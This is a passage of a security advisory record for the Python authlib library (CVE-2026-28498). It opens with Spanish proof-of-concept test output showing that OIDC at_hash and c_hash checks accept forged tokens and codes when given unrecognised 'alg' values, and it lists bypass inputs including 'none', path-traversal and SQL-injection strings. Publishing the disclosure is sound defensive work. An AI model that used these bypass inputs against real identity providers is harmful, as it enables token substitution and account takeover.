(Implicit / Hybrid Flow)\n────────────────────────────────────────────────────────────────\n [OK] Caso A (legitimo, RS256): at_hash=gh_beqqliVkRPAXdOz2Gbw -> aceptado\n [BYPASS] Caso B (atacante, alg=CUSTOM_ALG): at_hash=FAAAAAAAAAAAAAAAAAAAA -> BYPASS exitoso\n access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control\n\n────────────────────────────────────────────────────────────────\nTEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)\n────────────────────────────────────────────────────────────────\n [BYPASS] c_hash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -> Authorization Code Substitution posible\n code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE\n\n────────────────────────────────────────────────────────────────\nTEST 4 - Superficie de Ataque\n────────────────────────────────────────────────────────────────\n alg half_hash resultado\n ---------------------- ---------- --------------------\n 'CUSTOM_ALG' None BYPASS\n 'XX9999' None BYPASS\n 'none' None BYPASS\n 'None' None BYPASS\n '' None BYPASS\n 'RS' None BYPASS\n 'SHA256' None BYPASS\n 'HS0' None BYPASS\n 'EdDSA256' None BYPASS\n 'PS999' None BYPASS\n 'RS 256' None BYPASS\n '../../../etc' None BYPASS\n \"' OR '1'='1\" None BYPASS\n\nFix: `if not hash_value` -> `if hash_value is None` en _verify_hash()\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "authlib"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.6.9"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.6.8"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/authlib/authlib/security/advisories/GHSA-m344-f55w-2m6j"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28498"
}, {
"type" : "WEB",
"url" : "https://github.com/authlib/authlib/commit/b9bb2b25bf8b7e01512d847a95c1749646eaa72b"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/authlib/authlib"
}, {
"type" : "WEB",
"url" : "https://github.com/authlib/authlib/releases/tag/v1.6.9"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-354", "CWE-573" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-16T16:15:06Z",
"nvd_published_at" : "2026-03-16T18:16:07Z"
}
}